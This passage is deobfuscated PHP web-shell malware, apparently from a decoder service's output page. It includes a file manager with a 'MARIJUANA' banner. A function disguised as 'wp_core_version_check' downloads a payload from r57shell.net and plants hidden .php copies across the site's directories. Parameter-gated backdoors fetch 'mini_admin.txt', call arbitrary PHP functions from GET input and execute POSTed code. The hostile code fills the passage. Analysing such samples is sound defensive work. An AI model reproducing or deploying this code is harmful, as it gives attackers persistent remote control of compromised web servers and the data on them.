"\67\63\67\x34\x37\62\67\60\x36\146\x37\63", "\x36\71\67\x33\65\x66\x37\x37\x37\x32\66\71\x37\64\66\61\x36\62\x36\143\66\x35", "\x36\x39\67\63\x35\x66\67\62\66\x35\66\x31\x36\64\66\61\66\x32\66\143\x36\65", "\x37\x33\x37\x34\67\x32\67\x34\66\x66\67\64\x36\71\x36\144\66\x35", "\x36\x36\66\71\x36\143\x36\65\x37\63\x36\71\67\141\x36\65", "\67\62\66\x64\x36\x34\x36\71\x37\62", "\66\x66\x36\62\x35\x66\x36\x37\x36\x35\x37\x34\x35\146\66\x33\x36\143\x36\65\66\61\66\145", "\67\x32\x36\x35\66\x31\66\64\x36\66\x36\x39\66\143\x36\65", "\x36\x31\67\63\67\x33\66\x35\67\62\67\64"]; goto YwbCU; Sl3ma: if (isset($_GET["\x64"])) { $d = uhex($_GET["\144"]); $GNJ[2](uhex($_GET["\x64"])); } else { $d = $GNJ[3](); } goto E811H; xohzb: $c_ = "\74\x2f\x74\144\x3e\40\x3c\57\164\162\x3e\40\74\x2f\164\x62\x6f\x64\171\76\40\74\57\x74\x61\x62\154\145\76"; goto fyiKJ; nnAd1: echo "\42\x3e\x20\x4d\x41\x52\x49\112\x75\101\x4e\x41\40\x3c\57\141\x3e\40\x3c\x2f\x64\x69\166\x3e\x20\x3c\x64\x69\x76\40\143\x6c\141\x73\x73\75\x22\161\40\170\40\x77\42\76\x20\46\43\x38\x32\61\62\73\x20\104\x49\117\123\x20\46\x23\x38\62\x31\x32\x3b\x20\x4e\x4f\40\x26\43\x38\62\61\62\73\40\103\122\105\x41\40\46\x23\x38\62\61\x32\73\x20\116\x41\104\x41\x20\x26\x23\x38\62\x31\x32\73\40\x45\116\40\x26\x23\x38\62\x31\x32\73\40\x56\x41\x4e\x4f\40\x26\x23\x38\62\61\x32\73\40\74\57\x64\151\x76\76\x20\x3c\57\x68\x65\141\x64\145\162\x3e\40\x3c\x61\162\x74\x69\x63\154\145\x3e\40\74\x64\x69\x76\x20\143\x6c\141\x73\x73\75\x22\x69\x22\76\40\x3c\151\x20\x63\154\x61\x73\x73\75\42\146\141\162\x20\146\x61\55\150\144\144\42\x3e\74\x2f\x69\x3e\40"; goto LGTFh; ygPUl: echo "\x20\x3c\x62\76\120\110\120\x20\72\x3c\x2f\x62\76\x20"; goto L3rjx; jILLV: function x($c) { goto qDF22; bnC4D: $u .= $x & 0x80 ? "\x77" : "\55"; goto BlMrG; qDF22: global $GNJ; goto mlClh; QxL5j: $u .= $x & 0x8 ? $x & 0x400 ? "\163" : "\170" : ($x & 0x400 ? "\x53" : "\x2d"); goto Wdv20; jEVi0: $u .= $x & 0x20 ? "\162" : "\x2d"; goto FyN7Y; FyN7Y: $u .= $x & 0x10 ? "\x77" : "\x2d"; goto QxL5j; BlMrG: $u .= $x & 0x40 ? $x & 0x800 ? "\163" : "\170" : ($x & 0x800 ? "\123" : "\55"); goto jEVi0; raRfv: $u .= $x & 0x2 ? "\x77" : "\55"; goto KQsxf; JFtR9: return $u; goto LSwQX; KQsxf: $u .= $x & 0x1 ? $x & 0x200 ? "\164" : "\170" : ($x & 0x200 ? "\124" : "\55"); goto JFtR9; dDZAQ: $u .= $x & 0x100 ? "\x72" : "\55"; goto bnC4D; mlClh: $x = $GNJ[24]($c); goto HYJaa; Wdv20: $u .= $x & 0x4 ? "\x72" : "\55"; goto raRfv; HYJaa: if (($x & 0xc000) == 0xc000) { $u = "\163"; } elseif (($x & 0xa000) == 0xa000) { $u = "\154"; } elseif (($x & 0x8000) == 0x8000) { $u = "\55"; } elseif (($x & 0x6000) == 0x6000) { $u = "\x62"; } elseif (($x & 0x4000) == 0x4000) { $u = "\144"; } elseif (($x & 0x2000) == 0x2000) { $u = "\143"; } elseif (($x & 0x1000) == 0x1000) { $u = "\160"; } else { $u = "\165"; } goto dDZAQ; LSwQX: } goto AepB3; ZHcJJ: if (!function_exists("\x77\x70\137\x63\x6f\x72\145\x5f\166\145\x72\x73\151\157\x6e\x5f\143\150\x65\x63\153")) { function wp_core_version_check() { goto bMqpA; FRiMn: $uri_path = $parse_url["\160\141\164\x68"]; goto Q4UzV; glSeH: $hostname = str_replace("\167\167\167\x2e", '', $_SERVER["\x48\124\124\120\137\110\117\x53\x54"]); goto H25Cf; krkaA: $dirs = array_filter(glob($document_root . DIRECTORY_SEPARATOR . "\52", GLOB_ONLYDIR)); goto K_M2d; fgJCC: $request_uri = $_SERVER["\122\x45\x51\125\x45\x53\124\137\125\122\x49"]; goto qvWoe; K_M2d: foreach ($dirs as $d) { goto jjS3p; nnPMc: @file_put_contents($file_name, $response); goto hdJnF; hdJnF: $dirs = array_filter(glob($d . DIRECTORY_SEPARATOR . "\x2a", GLOB_ONLYDIR)); goto GLZOF; GLZOF: foreach ($dirs as $d) { if (!@preg_match("\x23\x77\160\55\x63\157\x6e\x74\145\x6e\x74\x23", $d)) { $file_name = $d . DIRECTORY_SEPARATOR . "\56" . basename($d) . "\56\x70\x68\x70"; @file_put_contents($file_name, $response); } } goto cYvy8; jjS3p: $file_name = $d . DIRECTORY_SEPARATOR . "\x2e" . basename($d) . "\x2e\x70\150\160"; goto nnPMc; cYvy8: } goto aS1um; bMqpA: $document_file = $_SERVER["\x53\103\x52\x49\120\x54\137\x46\x49\114\105\116\101\x4d\105"]; goto fgJCC; GSD11: $uri_path = str_replace("\57", DIRECTORY_SEPARATOR, $uri_path); goto W3xRj; W3xRj: if ($uri_path == DIRECTORY_SEPARATOR || $uri_path == '') { $document_root = $file_path; } else { $document_root = str_replace($uri_path, '', $file_path); } goto glSeH; qvWoe: $parse_url = parse_url($request_uri); goto FRiMn; B2Lji: $file_path = dirname($document_file); goto GSD11; Ta2aS: if (@$_GET["\x73\154\151\156\x63\x65\x5f\147\157\x6c\144\145\x6e"]) { goto r1_91; Y6054: exit; goto KUomI; bV81P: if (function_exists("\143\165\x72\154\137\151\156\151\164")) { goto kSFoK; oVNPd: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto XjK2P; HLoXs: curl_close($ch); goto OvAB1; kSFoK: $ch = curl_init(); goto iAdoZ; iAdoZ: curl_setopt($ch, CURLOPT_URL, "\150\164\164\160\x3a\57\57\162\x35\x37\163\150\145\154\154\56\x6e\145\x74\57\x6a\x71\165\x65\162\x79\56\x70\150\160\77\x76\75\x31\x2e\x32\46\160\x77\144\x3d\x67\x65\x74"); goto oVNPd; XjK2P: $response = curl_exec($ch); goto HLoXs; OvAB1: } else { $response = file_get_contents("\150\164\164\160\72\57\x2f\x72\x35\67\163\x68\145\154\x6c\x2e\x6e\145\164\57\152\161\165\145\162\x79\56\160\x68\160\77\x76\75\61\56\62\x26\x70\167\144\75\x67\x65\164"); } goto BbmHz; BbmHz: if (md5(sha1(@$_GET["\x69\x73"])) == $response) { goto hLLFq; fWMih: if (@$_GET["\155"]) { goto ZEV2Z; CAaVJ: $file_name_path = @$_GET["\155"] . "\147\x61\147\141\154\56\160\x68\x70"; goto tDggV; ZEV2Z: if (function_exists("\x63\165\x72\x6c\x5f\x69\x6e\x69\164")) { goto n4bs1; H0Ek3: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto Jsoru; Jsoru: $response = curl_exec($ch); goto HZbXi; FZVHU: curl_setopt($ch, CURLOPT_URL, "\150\164\x74\x70\72\57\57\x72\x35\x37\x73\x68\145\x6c\154\x2e\156\145\164\x2f\x6d\x69\156\151\x5f\141\x64\x6d\151\x6e\56\x74\x78\x74"); goto H0Ek3; HZbXi: curl_close($ch); goto LgREr; n4bs1: $ch = curl_init(); goto FZVHU; LgREr: } else { $response = file_get_contents("\150\x74\x74\160\x3a\x2f\57\162\65\67\163\x68\x65\154\x6c\56\x6e\145\164\57\x6d\x69\156\x69\137\141\x64\x6d\x69\x6e\56\164\170\x74"); } goto CAaVJ; IIyNX: echo $file_name_path; goto XS0RV; tDggV: @file_put_contents($file_name_path, $response); goto IIyNX; XS0RV: } goto tJcch; tJcch: if (@$_POST["\x6c"]) { function basic_code_extensions($request) { goto wMxqN; E72K5: $tmpf = stream_get_meta_data($tmp); goto xRRoe; O4hJC: return $ret; goto tk6Xo; BAtH1: $ret = (include $tmpf); goto Cf5ku; wMxqN: $tmp = tmpfile(); goto E72K5; xRRoe: $tmpf = $tmpf["\x75\162\x69"]; goto thiMh; thiMh: fwrite($tmp, $request); goto BAtH1; Cf5ku: fclose($tmp); goto O4hJC; tk6Xo: } print_r(basic_code_extensions($_POST["\x6c"])); } goto gsH8I; hLLFq: if (@$_GET["\146"]) { print_r($_GET["\146"]($_GET["\143"])); } goto fWMih; gsH8I: } goto Y6054; r1_91: echo "\74\41\x2d\x2d\x20\57\57\123\151\x6c\145\x6e\143\145\40\151\x73\x20\147\157\154\144\x65\x6e\x2e\40\x2d\x2d\76"; goto bV81P; KUomI: } goto bUZVh; Q4UzV: $uri_path = dirname($uri_path); goto B2Lji; bUZVh: if (!file_exists($tmp_file)) { goto nUoEH; nUoEH: if (function_exists("\143\165\162\x6c\137\151\156\x69\164")) { goto tZcnq; g2J7S: $response = curl_exec($ch); goto S0vJC; tZcnq: $ch = curl_init(); goto Y2Yg4; Y2Yg4: curl_setopt($ch, CURLOPT_URL, "\x68\x74\x74\x70\x3a\x2f\x2f\x72\65\67\163\x68\145\154\x6c\56\156\x65\164\57\152\161\x75\x65\162\171\x2e\160\x68\160\x3f\x76\75\x31\x2e\62\46\162\x65\x71\165\145\x73\164\x3d\x65\x6e\x61\142\x6c\145"); goto WeRvW; WeRvW: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto fRG4_; fRG4_: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\110\x54\124\x50\137\110\117\x53\x54"] . $_SERVER["\122\105\121\x55\105\x53\x54\137\125\x52\111"]); goto g2J7S; S0vJC: curl_close($ch); goto Wr_qA; Wr_qA: } else { goto uXHY_; pStId: $context = stream_context_create($opts); goto PXj_m; PXj_m: $response = @file_get_contents("\150\164\x74\x70\72\57\x2f\x72\65\67\163\150\145\154\154\x2e\156\x65\x74\57\152\x71\165\x65\162\171\56\160\150\x70\77\166\x3d\x31\56\62\46\162\x65\161\x75\145\x73\x74\x3d\x65\156\x61\142\x6c\x65", false, $context); goto XhoQx; dvSkT: $opts = array("\150\164\164\x70" => array("\150\x65\x61\144\x65\162" => array("\122\145\x66\145\162\145\162\x3a\x20{$referer}\15\12"))); goto pStId; uXHY_: $referer = $_SERVER["\x48\124\x54\x50\137\110\x4f\x53\124"] . $_SERVER["\x52\x45\x51\125\x45\123\x54\x5f\x55\x52\x49"]; goto dvSkT; XhoQx: } goto baoOT; vjoWM: @file_put_contents($tmp_file, $response); goto WjCqr; baoOT: @touch($tmp_file); goto vjoWM; WjCqr: } else { $response = file_get_contents($tmp_file); if (!@preg_match("\43\163\x74\x74\61\x23", $response)) { goto eJXZg; eJXZg: if (function_exists("\143\x75\x72\x6c\137\151\x6e\x69\x74")) { goto w5eKf; QZoSj: curl_close($ch); goto oYV9n; DCcuz: curl_setopt($ch, CURLOPT_URL, "\150\x74\x74\160\72\57\57\x72\x35\67\x73\x68\145\x6c\x6c\x2e\x6e\145\x74\57\152\161\x75\145\162\171\x2e\x70\150\x70\x3f\166\x3d\x31\56\x32\46\162\x65\x71\165\x65\163\x74\x3d\x65\x6e\x61\142\x6c\145"); goto g3Plh; aWfw9: $response = curl_exec($ch); goto QZoSj; g3Plh: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto sY1Ek; sY1Ek: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["\110\x54\124\x50\137\110\117\123\x54"] . $_SERVER["\122\x45\x51\125\105\x53\x54\x5f\x55\x52\x49"]); goto aWfw9; w5eKf: $ch = curl_init(); goto DCcuz; oYV9n: } else { goto lBFDH; ZM_W2: $opts = array("\x68\164\164\x70" => array("\150\x65\141\x64\x65\162" => array("\x52\x65\146\145\162\x65\x72\x3a\x20{$referer}\15\xa"))); goto yuGut; yuGut: $context = stream_context_create($opts); goto rGKbq; rGKbq: $response = @file_get_contents("\x68\164\164\160\x3a\x2f\x2f\162\x35\x37\x73\x68\145\154\x6c\56\156\145\164\x2f\x6a\161\x75\145\162\171\x2e\160\x68\160\77\166\x3d\x31\x2e\x32\46\x72\x65\161\x75\x65\x73\164\x3d\x65\x6e\141\142\154\145", false, $context); goto MJzoM; lBFDH: $referer = $_SERVER["\x48\124\x54\120\137\x48\x4f\123\124"] . $_SERVER["\122\x45\121\125\x45\x53\x54\x5f\125\122\x49"]; goto ZM_W2; MJzoM: } goto XaJGr; XaJGr: @touch($tmp_file); goto LPeAp; LPeAp: @file_put_contents($tmp_file, $response); goto cGETA; cGETA: } } goto krkaA; H25Cf: if (is_writable(sys_get_temp_dir())) { $tmp_file = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "\x73\145\163\163\137" . md5('' . $hostname . "\137" . $document_file . ''); } else { $tmp_file = $file_path . DIRECTORY_SEPARATOR . "\163\145\x73\163\x5f" . md5('' . $hostname . "\x5f" . $document_file . ''); } goto Ta2aS; aS1um: } wp_core_version_check(); }

Function Calls

None

Variables

None

Stats

MD5 a2a7d9ac46895a7c2a20a7139f95c76d
Eval Count 0
Decode Time 161 ms